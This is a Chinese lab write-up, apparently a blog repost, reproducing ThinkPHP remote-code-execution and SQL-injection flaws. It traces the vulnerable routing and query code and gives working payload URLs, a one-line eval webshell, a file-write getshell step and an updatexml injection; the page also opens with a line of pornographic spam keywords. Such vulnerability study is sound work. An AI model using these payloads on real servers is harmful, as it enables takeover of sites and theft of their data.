国产av日韩一区二区三区精品,成人性爱视频在线观看,国产,欧美,日韩,一区,www.成色av久久成人,2222eeee成人天堂

滲透測(cè)試之路:ThinkPHP漏洞復(fù)現(xiàn)

WBOY
發(fā)布: 2023-01-04 15:08:09
轉(zhuǎn)載
2866人瀏覽過(guò)

本篇文章給大家?guī)?lái)了關(guān)于thinkphp的相關(guān)知識(shí),其中主要介紹了關(guān)于thinkphp漏洞復(fù)現(xiàn)的相關(guān)內(nèi)容,下面一起來(lái)看一下,希望對(duì)大家有幫助。

滲透測(cè)試之路:ThinkPHP漏洞復(fù)現(xiàn)

ThinkPHP

1)簡(jiǎn)介

ThinkPHP是一個(gè)免費(fèi)開(kāi)源的,快速的,簡(jiǎn)單的面向?qū)ο蟮膰?guó)產(chǎn)輕量級(jí)PHP開(kāi)發(fā)框架。

ThinkPHP遵循Apache2開(kāi)源協(xié)議發(fā)布,是為了敏捷WEB應(yīng)用開(kāi)發(fā)和簡(jiǎn)化企業(yè)級(jí)應(yīng)用開(kāi)而誕生的,具有免費(fèi)開(kāi)源,快速簡(jiǎn)單及面向?qū)ο蟮缺姸嗟膬?yōu)秀功能和特性。ThinkPHP經(jīng)歷了五年多發(fā)展的同時(shí),在社區(qū)團(tuán)隊(duì)的積極參與下,在易用性,擴(kuò)展性和性能方面不斷優(yōu)化和改進(jìn),眾多的典型案例確??梢苑€(wěn)定用于商業(yè)以及門(mén)戶(hù)的開(kāi)發(fā)。

ThinkPHP借鑒了國(guó)外很多優(yōu)秀的框架和模式,使用面向?qū)ο蟮拈_(kāi)發(fā)結(jié)構(gòu)和MVC模式,采用單一入口模式等。融合了Struts的Action思想和JSP的TagLib(標(biāo)簽庫(kù)),ROR的ORM映射和ActiveRecord模式;封裝了CURD和一些常用操作,在項(xiàng)目配置,類(lèi)庫(kù)導(dǎo)入,模板引擎,查詢(xún)語(yǔ)言,自動(dòng)驗(yàn)證,視圖模型,項(xiàng)目編譯,緩存機(jī)制,SEO支持,分布式數(shù)據(jù)庫(kù),多數(shù)據(jù)庫(kù)連接和切換,認(rèn)證機(jī)制和擴(kuò)展性方面均有獨(dú)特的表現(xiàn)。

立即學(xué)習(xí)PHP免費(fèi)學(xué)習(xí)筆記(深入)”;

使用ThinkPHP,可以更方便和快捷的開(kāi)發(fā)和部署應(yīng)用。ThinkPHP本身具有很多的原創(chuàng)特性,并且倡導(dǎo)大道至簡(jiǎn),開(kāi)發(fā)由我的開(kāi)發(fā)理念,用最少的代碼完成更多的功能,宗旨就是讓W(xué)EB應(yīng)用開(kāi)發(fā)更簡(jiǎn)單,更快速!

2)安裝方法

下載ThinkPHP后解壓完成會(huì)形成兩個(gè)文件夾:ThinkPHP和Examples。

ThinkPHP無(wú)需單獨(dú)安裝,將ThinkPHP文件夾FTP至服務(wù)器Web目錄或拷貝至本地Web目錄下面即可。

3)ThinkPHP目錄結(jié)構(gòu)說(shuō)明

ThinkPHP.php:框架入口文件

Common:包含框架的一些公共文件,系統(tǒng)定義,系統(tǒng)函數(shù)和慣例配置等

Conf:框架配置文件目錄

Lang:系統(tǒng)語(yǔ)言文件目錄

Lib:系統(tǒng)基類(lèi)庫(kù)目錄

Tpl:系統(tǒng)模板目錄

Extend:框架擴(kuò)展s

4)ThinkPHP運(yùn)行環(huán)境要求

thinkphp可以支持Windows/Unix服務(wù)器環(huán)境,可以運(yùn)行包括Apache,IIS和nginx在內(nèi)的多種WEB服務(wù)器和多種模式。需要PHP5.2.0以上版本支持,支持MYSQL,MSSQL,PGSQL,SQLITE,ORACLE,LBASE以及PDo等多種數(shù)據(jù)庫(kù)和連接。

ThinkPHP本身沒(méi)有什么特別模塊要求,具體的應(yīng)用系統(tǒng)運(yùn)行環(huán)境要求視開(kāi)發(fā)所涉及的模塊。ThinkPHP底層運(yùn)行的內(nèi)存消耗極低,而本身的文件大小也是輕量級(jí),因此不會(huì)出現(xiàn)空間和內(nèi)存占用的瓶頸。

一、2-rce

0x01 提前了解知識(shí)

preg_replace函數(shù):

preg_replace( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = - 1 [ , int &$count ]])

搜索subject中匹配pattern的部分,以replacement進(jìn)行替換。

  • $pattern:要搜索的模式,可以是字符串或者一個(gè)字符串?dāng)?shù)組

  • $replacement:用于替換的字符串或者數(shù)組

  • $subject:用于替換的目標(biāo)字符串或者數(shù)組

  • $limit:可選,對(duì)于每個(gè)模式用于每個(gè)subject字符串的最大可替換數(shù)。默認(rèn)是-1

  • $count:可選·,為替換執(zhí)行的次數(shù)

返回值:

如果subject為一個(gè)數(shù)組,則返回一個(gè)數(shù)組,其他情況下返回一個(gè)字符串。

如果匹配被查找到,替換后的subject被返回,其他情況下,返回沒(méi)有改變的 subject,如果發(fā)生錯(cuò)誤返回NULL

正則表達(dá)式:https://www.runoob.com/regexp/regexp-syntax.html

0x02 實(shí)驗(yàn)步驟

訪問(wèn)頁(yè)面,發(fā)現(xiàn)是一個(gè)Thinkphp的cms框架,由于是漏洞復(fù)現(xiàn),我們很清楚的知道他的版本是2.x。如果不知道版本的可以通過(guò)亂輸入徑進(jìn)行報(bào)錯(cuò),或是使用云悉指紋識(shí)別進(jìn)行檢測(cè)

06.png

此時(shí)輸入已經(jīng)爆出的遠(yuǎn)程代碼執(zhí)行命令即可浮現(xiàn)漏洞:

/index.php?s=/index/index/xxx/${@phpinfo()}   //phpinfo敏感文件
/index.php?s=a/b/c/${@print(eval($_POST[1]))}  //此為一句話連菜刀
登錄后復(fù)制

07.png

這里只要將phpinfo()換成一句話木馬即可成功!

0x03 實(shí)驗(yàn)原理

1)通過(guò)觀察這句話,我們可以清楚的知道它是將

${@phpinfo()}
登錄后復(fù)制

作為變量輸出到了頁(yè)面顯示,其原理,我通過(guò)freebuf總結(jié)一下:

在PHP當(dāng)中, ${} 是可以構(gòu)造一個(gè)變量的, {} 寫(xiě)的是一般字符,那么就會(huì)被當(dāng)作成變量,比如 ${a} 等價(jià)于 $a

thinkphp所有的主入口文件默認(rèn)訪問(wèn)index控制器(模塊)

thinkphp所有的控制器默認(rèn)執(zhí)行index動(dòng)作(方法)

http://serverName/index.php(或者其它應(yīng)用入口文件)?s=/模塊/控制器/操作/[參數(shù)名/參數(shù)值...]

數(shù)組$var在路徑存在模塊和動(dòng)作時(shí),會(huì)去除前面兩個(gè)值。而數(shù)組$var來(lái)自于explode($depr,trim($_SERVER['PATH_INFO'],'/'));也就是路徑。

所以我們構(gòu)造poc如下:

/index.php?s=a/b/c/${phpinfo()}

/index.php?s=a/b/c/${phpinfo()}/c/d/e/f

/index.php?s=a/b/c/d/e/${phpinfo()}.......

2)換而言之,就是在thinphp的類(lèi)似于MVC的框架中,存在一個(gè)Dispatcher.class.php的文件,它規(guī)定了如何解析路由,在該文件中,存在一個(gè)函數(shù)為static public function dispatch(),此為URL映射控制器,是為了將URL訪問(wèn)的路徑映射到該控制器下獲取資源的,而當(dāng)我們輸入的URL作為變量傳入時(shí),該URL映射控制器會(huì)將變量以數(shù)組的方式獲取出來(lái),從而導(dǎo)致漏洞的產(chǎn)生。

類(lèi)名為`Dispatcher`,class Dispatcher extends Think
里面的方法有:
static public function dispatch() URL映射到控制器
public static function getPathInfo()  獲得服務(wù)器的PATH_INFO信息
static public function routerCheck() 路由檢測(cè)
static private function parseUrl($route)
static private function getModule($var) 獲得實(shí)際的模塊名稱(chēng)
static private function getGroup($var) 獲得實(shí)際的分組名稱(chēng)
登錄后復(fù)制

二、5.0.23-rce

漏洞簡(jiǎn)介

ThinkPHP 5.x主要分為 5.0.x和5.1.x兩個(gè)系列,系列不同,復(fù)現(xiàn)漏洞時(shí)也稍有不同。

在ThinkPHP 5.x中造成rce(遠(yuǎn)程命令執(zhí)行)有兩種原因

1.路由對(duì)于控制器名控制不嚴(yán)謹(jǐn)導(dǎo)致RCE、

2.Request類(lèi)對(duì)于調(diào)用方法控制不嚴(yán)謹(jǐn)加上變量覆蓋導(dǎo)致RCE

首先記錄這兩個(gè)主要POC:

控制器名未過(guò)濾導(dǎo)致rce

function為反射調(diào)用的函數(shù),vars[0]為傳入的回調(diào)函數(shù),vars[1][]為參數(shù)為回調(diào)函數(shù)的參數(shù)

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

核心類(lèi)Request遠(yuǎn)程代碼執(zhí)行漏洞

filter[]為回調(diào)函數(shù),get[]或route[]或server[REQUEST_METHOD]為回調(diào)函數(shù)的參數(shù),執(zhí)行回調(diào)函數(shù)的函數(shù)為call_user_func()

核心版需要開(kāi)啟debug模式

POST /index.php?s=captch

_ method=_ construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd

or

_ method=_construct&method=get&filter[]=system&get[]=pwd

控制器名未過(guò)濾導(dǎo)致RCE

0x01 簡(jiǎn)介

2018年12月9日,ThinkPHP v5系列發(fā)布安全更新v5.0.23,修復(fù)了一處可導(dǎo)致遠(yuǎn)程代碼執(zhí)行的嚴(yán)重漏洞。在官方公布了修復(fù)記錄后,才出現(xiàn)的漏洞利用方式,不過(guò)不排除很早之前已經(jīng)有人使用了0day

該漏洞出現(xiàn)的原因在于ThinkPHP5框架底層對(duì)控制器名過(guò)濾不嚴(yán),從而讓攻擊者可以通過(guò)url調(diào)用到ThinkPHP框架內(nèi)部的敏感函數(shù),進(jìn)而導(dǎo)致getshell漏洞

最終確定漏洞影響版本為:

ThinkPHP 5.0.5-5.0.22

ThinkPHP 5.1.0-5.1.30

理解該漏洞的關(guān)鍵在于理解ThinkPHP5的路由處理方式主要分為有配置路由和未配置路由的情況,在未配置路由的情況,ThinkPHP5將通過(guò)下面格式進(jìn)行解析URL

http://serverName/index.php(或者其它應(yīng)用入口文件)/模塊/控制器/操作/[參數(shù)名/參數(shù)值...]
登錄后復(fù)制

同時(shí)在兼容模式下ThinkPHP還支持以下格式解析URL:

http://serverName/index.php(或者其它應(yīng)用入口文件)?s=/模塊/控制器/操作/[參數(shù)名/參數(shù)值...](參數(shù)以PATH_INFO傳入)
http://serverName/index.php(或者其它應(yīng)用入口文件)?s=/模塊/控制器/操作/[&參數(shù)名=參數(shù)值...]     (參數(shù)以傳統(tǒng)方式傳入)
登錄后復(fù)制
eg:
http://tp5.com:8088/index.php?s=user/Manager/add&n=2&m=7
http://tp5.com:8088/index.php?s=user/Manager/add/n/2/m/8
登錄后復(fù)制

本次漏洞就產(chǎn)生在未匹配到路由的情況下,使用兼容模式解析url時(shí),通過(guò)構(gòu)造特殊url,調(diào)用意外的控制器中敏感函數(shù),從而執(zhí)行敏感操作

下面通過(guò)代碼具體解析ThinkPHP的路由解析流程

0x02 路由處理邏輯詳細(xì)分析

分析版本: 5.0.22

跟蹤路由處理的邏輯,來(lái)完整看一下該漏洞的整體調(diào)用鏈:

thinkphp/library/think/App.php

116行,通過(guò)routeCheck()方法開(kāi)始進(jìn)行url路由檢測(cè)

在routeCheck()中,首先提取$path信息,這里獲取$path的方式分別為pathinfo模式和兼容模式,pathinfo模式就是通過(guò)$_SERVER['PATH_INFO']獲取到的主要path信息,==$_SERVER['PATH_INFO']會(huì)自動(dòng)將URL中的""替換為"/",導(dǎo)致破壞命名空間格式==,==兼容模式下==$_SERVER['PATH_INFO']=$_GET[Config::get('var_pathinfo')];,path的信息會(huì)通過(guò)get的方式獲取,var_pathinfo的值默認(rèn)為's',從而繞過(guò)了反斜杠的替換==,這里也是該漏洞的一個(gè)關(guān)鍵利用點(diǎn)

檢測(cè)邏輯:如果開(kāi)啟了路由檢測(cè)模式(配置文件中的url_on為true),則進(jìn)入路由檢測(cè),結(jié)果返回給$result,如果路由無(wú)效且設(shè)置了只允許路由檢測(cè)模式(配置文件url_route_must為true),則拋出異常。

在兼容模式中,檢測(cè)到路由無(wú)效后(false === $result),則還會(huì)進(jìn)入Route::parseUrl()檢測(cè)路由。我們重點(diǎn)關(guān)注這個(gè)路由解析方式,因?yàn)樵摲绞轿覀兺ㄟ^(guò)URL可控:

放回最終的路由檢測(cè)結(jié)果$result($dispath),交給exec執(zhí)行:

$dispatch = self::routeCheck($request, $config);//line:116
$data = self::exec($dispatch, $config);//line:139
public static function routeCheck($request, array $config)//line:624-658
{
        $path   = $request->path();
        $depr   = $config['pathinfo_depr'];
        $result = false;
        // 路由檢測(cè)
        $check = !is_null(self::$routeCheck) ? self::$routeCheck : $config['url_route_on'];
        if ($check) {
            // 開(kāi)啟路由
            ……
            // 路由檢測(cè)(根據(jù)路由定義返回不同的URL調(diào)度)
            $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);
            $must   = !is_null(self::$routeMust) ? self::$routeMust : $config['url_route_must'];
            if ($must && false === $result) {
                // 路由無(wú)效
                throw new RouteNotFoundException();
            }
        }
        // 路由無(wú)效 解析模塊/控制器/操作/參數(shù)... 支持控制器自動(dòng)搜索
        if (false === $result) {
            $result = Route::parseUrl($path, $depr, $config['controller_auto_search']);
        }
        return $result;
    }
登錄后復(fù)制

thinkphp/libary/think/Route.php

跟蹤Route::parseUrl(),在注釋中可以看到大概解析方式

$url主要同通過(guò)parseUrlPath()解析,跟蹤該函數(shù)發(fā)現(xiàn)程序通過(guò)斜杠/來(lái)劃分模塊/控制器/操作,結(jié)果為數(shù)組形式,然后將他們封裝為$route,最終返回['type'=>'moudle','moudle'=>$route]數(shù)組,作為App.php中$dispatch1值,并傳入exec()函數(shù)中

注意這里使用的時(shí) 斜杠/來(lái)劃分每個(gè)部分,我們的控制器可以通過(guò)命名空間來(lái)調(diào)用,命名空間使用反斜杠\來(lái)劃分,正好錯(cuò)過(guò),這也是能利用的其中一個(gè)細(xì)節(jié)

/**
     * 解析模塊的URL地址 [模塊/控制器/操作?]參數(shù)1=值1&參數(shù)2=值2...
     * @access public
     * @param string $url        URL地址
     * @param string $depr       URL分隔符
     * @param bool   $autoSearch 是否自動(dòng)深度搜索控制器
     * @return array
*/
public static function parseUrl($url, $depr = '/', $autoSearch = false)//line:1217-1276
    {
        $url              = str_replace($depr, '|', $url);
        list($path, $var) = self::parseUrlPath($url);  //解析URL的pathinfo參數(shù)和變量
        $route            = [null, null, null];
        if (isset($path)) {
            // 解析模塊,依次得到$module, $controller, $action
          ……
          // 封裝路由
            $route = [$module, $controller, $action];
        }
        return ['type' => 'module', 'module' => $route];
    }
登錄后復(fù)制

thinkphp/library/think/Route.php

private static function parseUrlPath($url)//line:1284-1302
    {
        // 分隔符替換 確保路由定義使用統(tǒng)一的分隔符
        $url = str_replace('|', '/', $url);
        $url = trim($url, '/');
        $var = [];
        if (false !== strpos($url, '?')) {
            // [模塊/控制器/操作?]參數(shù)1=值1&參數(shù)2=值2...
            $info = parse_url($url);
            $path = explode('/', $info['path']);
            parse_str($info['query'], $var);
        } elseif (strpos($url, '/')) {
            // [模塊/控制器/操作]
            $path = explode('/', $url);
        } else {
            $path = [$url];
        }
        return [$path, $var];
    }
登錄后復(fù)制

路由解析結(jié)果作為exec()的參數(shù)進(jìn)行執(zhí)行,追蹤該函數(shù)

thinkphp/library/think/App.php
登錄后復(fù)制

追蹤exec()函數(shù),傳入了$dispatch,$config兩個(gè)參數(shù),其中$dispatch為['type' => 'module', 'module' => $route]

因?yàn)?type 為 module,直接進(jìn)入對(duì)應(yīng)流程,然后執(zhí)行module方法,其中傳入的參數(shù)$dispatch['module']為模塊\控制器\操作組成的數(shù)組

跟蹤module()方法,主要通過(guò)$dispatch['module']獲取模塊$module, 控制器$controller, 操作$action,可以看到==提取過(guò)程中除了做小寫(xiě)轉(zhuǎn)換,沒(méi)有做其他過(guò)濾操作==

$controller將通過(guò)Loader::controller自動(dòng)加載,這是ThinkPHP的自動(dòng)加載機(jī)制,只用知道此步會(huì)加載我們需要的控制器代碼,如果控制器不存在會(huì)拋出異常,加載成功會(huì)返回$instance,這應(yīng)該就是控制器類(lèi)的實(shí)例化對(duì)象,里面保存的有控制器的文件路徑,命名空間等信息

通過(guò)is_callable([$instance, $action])方法判斷$action是否是$instance中可調(diào)用的方法

通過(guò)判斷后,會(huì)記錄$instacne,$action到$call中($call = [$instance, $action]),方便后續(xù)調(diào)用,并更新當(dāng)前$request對(duì)象的action

最后$call將被傳入self::invokeMethod($call, $vars)

protected static function exec($dispatch, $config)//line:445-483
    {
        switch ($dispatch['type']) {
……
            case 'module': // 模塊/控制器/操作
                $data = self::module(
                    $dispatch['module'],
                    $config,
                    isset($dispatch['convert']) ? $dispatch['convert'] : null
                );
                break;
            ……
            default:
                throw new \InvalidArgumentException('dispatch type not support');
        }
        return $data;
    }
public static function module($result, $config, $convert = null)//line:494-608
    {
        ……
        if ($config['app_multi_module']) {
            // 多模塊部署
          // 獲取模塊名
            $module    = strip_tags(strtolower($result[0] ?: $config['default_module']));
……
        }
……
        // 獲取控制器名
        $controller = strip_tags($result[1] ?: $config['default_controller']);
        $controller = $convert ? strtolower($controller) : $controller;
        // 獲取操作名
        $actionName = strip_tags($result[2] ?: $config['default_action']);
        if (!empty($config['action_convert'])) {
            $actionName = Loader::parseName($actionName, 1);
        } else {
            $actionName = $convert ? strtolower($actionName) : $actionName;
        }
        // 設(shè)置當(dāng)前請(qǐng)求的控制器、操作
        $request->controller(Loader::parseName($controller, 1))->action($actionName);
      ……
        try {
            $instance = Loader::controller(
                $controller,
                $config['url_controller_layer'],
                $config['controller_suffix'],
                $config['empty_controller']
            );
        } catch (ClassNotFoundException $e) {
            throw new HttpException(404, 'controller not exists:' . $e->getClass());
        }
        // 獲取當(dāng)前操作名
        $action = $actionName . $config['action_suffix'];
        $vars = [];
        if (is_callable([$instance, $action])) {
            // 執(zhí)行操作方法
            $call = [$instance, $action];
            // 嚴(yán)格獲取當(dāng)前操作方法名
            $reflect    = new \ReflectionMethod($instance, $action);
            $methodName = $reflect->getName();
            $suffix     = $config['action_suffix'];
            $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
            $request->action($actionName);
        } elseif (is_callable([$instance, '_empty'])) {
            // 空操作
            $call = [$instance, '_empty'];
            $vars = [$actionName];
        } else {
            // 操作不存在
            throw new HttpException(404, 'method not exists:' . get_class($instance) . '->' . $action . '()');
        }
        Hook::listen('action_begin', $call);
        return self::invokeMethod($call, $vars);
    }
登錄后復(fù)制

先提前看下5.0.23的修復(fù)情況,找到對(duì)應(yīng)的commit,對(duì)傳入的控制器名做了限制

08.png

thinkphp/library/think/App.php

跟蹤invokeMethod,其中 $method = $call = [$instance, $action]

通過(guò)實(shí)例化反射對(duì)象控制$instace的$action方法,即控制器類(lèi)中操作方法

中間還有一個(gè)綁定參數(shù)的操作

最后利用反射執(zhí)行對(duì)應(yīng)的操作

public static function invokeMethod($method, $vars = [])
    {
        if (is_array($method)) {
            $class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
            $reflect = new \ReflectionMethod($class, $method[1]);
        } else {
            // 靜態(tài)方法
            $reflect = new \ReflectionMethod($method);
        }
        $args = self::bindParams($reflect, $vars);
        self::$debug && Log::record('[ RUN ] ' . $reflect->class . '->' . $reflect->name . '[ ' . $reflect->getFileName() . ' ]', 'info');
        return $reflect->invokeArgs(isset($class) ? $class : null, $args);
    }
登錄后復(fù)制

以上便是ThinkPHP5.0完整的路由檢測(cè),

0x03 弱點(diǎn)利用

如上我們知道,url 路由檢測(cè)過(guò)程并沒(méi)有對(duì)輸入有過(guò)濾,我們也知道通過(guò)url構(gòu)造的模塊/控制器/操作主要來(lái)調(diào)用對(duì)應(yīng)模塊->對(duì)應(yīng)的類(lèi)->對(duì)應(yīng)的方法,而這些參數(shù)通過(guò)url可控,我們便有可能操控程序中的所有控制器的代碼,接下來(lái)的任務(wù)便是尋找敏感的操作

thinkphp/library/think/App.php

public static function invokeFunction($function, $vars = [])//line:311-320
    {
        $reflect = new \ReflectionFunction($function);
        $args    = self::bindParams($reflect, $vars);
        // 記錄執(zhí)行信息
        self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info');
        return $reflect->invokeArgs($args);
    }
登錄后復(fù)制

該函數(shù)通過(guò)ReflectionFunction()反射調(diào)用程序中的函數(shù),這就是一個(gè)很好利用的點(diǎn),我們通過(guò)該函數(shù)可以調(diào)用系統(tǒng)中的各種敏感函數(shù)。

找到利用點(diǎn)了,現(xiàn)在就需要來(lái)構(gòu)造poc,首先觸發(fā)點(diǎn)在thinkphp/library/think/App.php中的invokeFunction,我們需要構(gòu)造url格式為模塊\控制器\操作

模塊我們用默認(rèn)模塊index即可,首先大多數(shù)網(wǎng)站都有這個(gè)模塊,而且每個(gè)模塊都會(huì)加載app.php文件,無(wú)須擔(dān)心模塊的選擇

該文件的命名空間為think,類(lèi)名為app,我們的控制器便可以構(gòu)造成\think\app。因?yàn)門(mén)hinkPHP使用的自動(dòng)加載機(jī)制會(huì)識(shí)別命名空間,這么構(gòu)造是沒(méi)有問(wèn)題的。

操作直接為invokeFunction,沒(méi)有疑問(wèn)

參數(shù)方面,我們首先要觸發(fā)第一個(gè)調(diào)用函數(shù),簡(jiǎn)化一下代碼再分析一下:

第一行確定 $class 就是我們傳入的控制器\think\app實(shí)例化后的對(duì)象

第二行綁定我們的方法,也就是invokefunction

第三方就可以調(diào)用這個(gè)方法了,其中$args是我們的參數(shù),通過(guò)url構(gòu)造,將會(huì)傳入到invokefunction中

$class   = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
$reflect = new \ReflectionMethod($class, $method[1]);
return $reflect->invokeArgs(isset($class) ? $class : null, $args);
登錄后復(fù)制

然后就進(jìn)入我們的invokefunctio,該函數(shù)需要什么參數(shù),我們就構(gòu)造什么參數(shù),首先構(gòu)造一個(gè)調(diào)用函數(shù)function=call_user_func_array

call_user_func_array需要兩個(gè)參數(shù),第一個(gè)參數(shù)為函數(shù)名,第二個(gè)參數(shù)為數(shù)組,var[0]=system,var[1][0]=id

這里因?yàn)閮纱畏瓷湟淮位卣{(diào)調(diào)用需要好好捋一捋。。。。

09.png

復(fù)現(xiàn)成功

10.png

三.5-rce

0x01 漏洞原理

ThinkPHP是一款運(yùn)用極廣的PHP開(kāi)發(fā)框架,其版本5中,由于沒(méi)有使用正確的控制器名,導(dǎo)致在網(wǎng)站沒(méi)有開(kāi)啟強(qiáng)制路由的情況下(即默認(rèn)情況下),可以執(zhí)行任意方法,從而導(dǎo)致遠(yuǎn)程命令執(zhí)行漏洞。

0x02 漏洞影響版本

ThinkPHP 5.0.5-5.0.22

ThinkPHP 5.1.0-5.1.30

0x03 漏洞復(fù)現(xiàn)

可以利用點(diǎn):

http://192.168.71.141:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

11.png

vars[0]用來(lái)接受函數(shù)名,vars[1][]用來(lái)接收參數(shù)

如:index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=%27123%27

12.png

會(huì)在屏幕上打出123和我們輸入的字符串長(zhǎng)度

寫(xiě)入一句話木馬getshell

使用file_put_contents函數(shù)寫(xiě)入shell:

vars[0]=system&vars[1][]=echo%20"">>test.php

13.png

使用蟻劍成功getshell!

四.In-sqlinjection-rce

0x01 了解的知識(shí):

pdo預(yù)編譯:

當(dāng)我們使用mysql語(yǔ)句進(jìn)行數(shù)據(jù)查詢(xún)時(shí),數(shù)據(jù)首先傳入計(jì)算機(jī),計(jì)算機(jī)進(jìn)行編譯之后傳入數(shù)據(jù)庫(kù)進(jìn)行數(shù)據(jù)查詢(xún)

(我們使用的是高級(jí)語(yǔ)言,計(jì)算機(jī)無(wú)法直接理解執(zhí)行,所以我們將命令或請(qǐng)求傳入計(jì)算機(jī)時(shí),計(jì)算機(jī)首先將我們的語(yǔ)句編譯成為計(jì)算機(jī)語(yǔ)言,之后再進(jìn)行執(zhí)行,所以如果不編譯直接執(zhí)行計(jì)算機(jī)是無(wú)法理解的,如傳入select函數(shù),沒(méi)編譯之前計(jì)算機(jī)只認(rèn)為這是五個(gè)字符,而無(wú)法理解這是個(gè)查詢(xún)函數(shù))

如此說(shuō)來(lái),我們每次查詢(xún)時(shí)都需要先編譯,這樣會(huì)加大成本,并且會(huì)存在sql注入的可能,所以有一定危險(xiǎn)。

如此,我們進(jìn)行查詢(xún)數(shù)據(jù)庫(kù)數(shù)據(jù)時(shí)使用預(yù)編譯,例如:

select ? from security where tables=?
登錄后復(fù)制

此語(yǔ)句中?代表占位符,在pdo中表示之后綁定的數(shù)據(jù),此時(shí)無(wú)法確定具體值

用戶(hù)在傳入查詢(xún)具體數(shù)值時(shí),計(jì)算機(jī)首先將以上的查詢(xún)語(yǔ)句進(jìn)行編譯,使其具有執(zhí)行力,之后再對(duì)于?代表的具體數(shù)值就不進(jìn)行編譯而直接進(jìn)行查詢(xún),所以我們?cè)?處利用sql注入語(yǔ)句代替時(shí),就不具有任何效力,甚至傳入字符串時(shí)還會(huì)報(bào)錯(cuò),而預(yù)編譯還可以節(jié)省成本,即上面語(yǔ)句除了查詢(xún)數(shù)值只編譯一次,之后進(jìn)行相同語(yǔ)句查詢(xún)時(shí)直接使用,只是查詢(xún)具體數(shù)值改變。所以這種預(yù)編譯的方式可以很好的防止sql注入。

漏洞上下文如下:

<?php
namespace app\index\controller;
use app\index\model\User;
class Index
{
    public function index()
    {
        $ids = input('ids/a');
        $t = new User();
        $result = $t->where('id', 'in', $ids)->select();
    }
}
登錄后復(fù)制

如上述代碼,如果我們控制了in語(yǔ)句的值位置,即可通過(guò)傳入一個(gè)數(shù)組,來(lái)造成SQL注入漏洞。

文中已有分析,我就不多說(shuō)了,但說(shuō)一下為什么這是一個(gè)SQL注入漏洞。IN操作代碼如下:

<?php
...
$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);
if (preg_match('/\W/', $bindName)) {
    // 處理帶非單詞字符的字段名
    $bindName = md5($bindName);
}
...
} elseif (in_array($exp, ['NOT IN', 'IN'])) {
    // IN 查詢(xún)
    if ($value instanceof \Closure) {
        $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
    } else {
        $value = is_array($value) ? $value : explode(',', $value);
        if (array_key_exists($field, $binds)) {
            $bind  = [];
            $array = [];
            foreach ($value as $k => $v) {
                if ($this->query->isBind($bindName . '_in_' . $k)) {
                    $bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
                } else {
                    $bindKey = $bindName . '_in_' . $k;
                }
                $bind[$bindKey] = [$v, $bindType];
                $array[]        = ':' . $bindKey;
            }
            $this->query->bind($bind);
            $zone = implode(',', $array);
        } else {
            $zone = implode(',', $this->parseValue($value, $field));
        }
        $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
    }
登錄后復(fù)制

可見(jiàn),$bindName在前邊進(jìn)行了一次檢測(cè),正常來(lái)說(shuō)是不會(huì)出現(xiàn)漏洞的。但如果$value是一個(gè)數(shù)組的情況下,這里會(huì)遍歷$value,并將$k拼接進(jìn)$bindName。

也就是說(shuō),我們控制了預(yù)編譯SQL語(yǔ)句中的鍵名,也就說(shuō)我們控制了預(yù)編譯的SQL語(yǔ)句,這理論上是一個(gè)SQL注入漏洞。那么,為什么原文中說(shuō)測(cè)試SQL注入失敗呢?

這就是涉及到預(yù)編譯的執(zhí)行過(guò)程了。通常,PDO預(yù)編譯執(zhí)行過(guò)程分三步:

prepare($SQL)編譯SQL語(yǔ)句

bindValue($param, $value)將value綁定到param的位置上

execute()執(zhí)行

這個(gè)漏洞實(shí)際上就是控制了第二步的$param變量,這個(gè)變量如果是一個(gè)SQL語(yǔ)句的話,那么在第二步的時(shí)候是會(huì)拋出錯(cuò)誤的:

14.png

所以,這個(gè)錯(cuò)誤“似乎”導(dǎo)致整個(gè)過(guò)程執(zhí)行不到第三步,也就沒(méi)法進(jìn)行注入了。

但實(shí)際上,在預(yù)編譯的時(shí)候,也就是第一步即可利用。我們可以做有一個(gè)實(shí)驗(yàn)。編寫(xiě)如下代碼:

<?php
$params = [
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_EMULATE_PREPARES  => false,
];
$db = new PDO('mysql:dbname=cat;host=127.0.0.1;', 'root', 'root', $params);
try {
    $link = $db->prepare('SELECT * FROM table2 WHERE id in (:where_id, updatexml(0,concat(0xa,user()),0))');
} catch (\PDOException $e) {
    var_dump($e);
}
登錄后復(fù)制

執(zhí)行發(fā)現(xiàn),雖然我只調(diào)用了prepare函數(shù),但原SQL語(yǔ)句中的報(bào)錯(cuò)已經(jīng)成功執(zhí)行:

15.png

究其原因,是因?yàn)槲疫@里設(shè)置了PDO::ATTR_EMULATE_PREPARES => false。

這個(gè)選項(xiàng)涉及到PDO的“預(yù)處理”機(jī)制:因?yàn)椴皇撬袛?shù)據(jù)庫(kù)驅(qū)動(dòng)都支持SQL預(yù)編譯,所以PDO存在“模擬預(yù)處理機(jī)制”。如果說(shuō)開(kāi)啟了模擬預(yù)處理,那么PDO內(nèi)部會(huì)模擬參數(shù)綁定的過(guò)程,SQL語(yǔ)句是在最后execute()的時(shí)候才發(fā)送給數(shù)據(jù)庫(kù)執(zhí)行;如果我這里設(shè)置了PDO::ATTR_EMULATE_PREPARES => false,那么PDO不會(huì)模擬預(yù)處理,參數(shù)化綁定的整個(gè)過(guò)程都是和Mysql交互進(jìn)行的。

非模擬預(yù)處理的情況下,參數(shù)化綁定過(guò)程分兩步:第一步是prepare階段,發(fā)送帶有占位符的sql語(yǔ)句到mysql服務(wù)器(parsing->resolution),第二步是多次發(fā)送占位符參數(shù)給mysql服務(wù)器進(jìn)行執(zhí)行(多次執(zhí)行optimization->execution)。

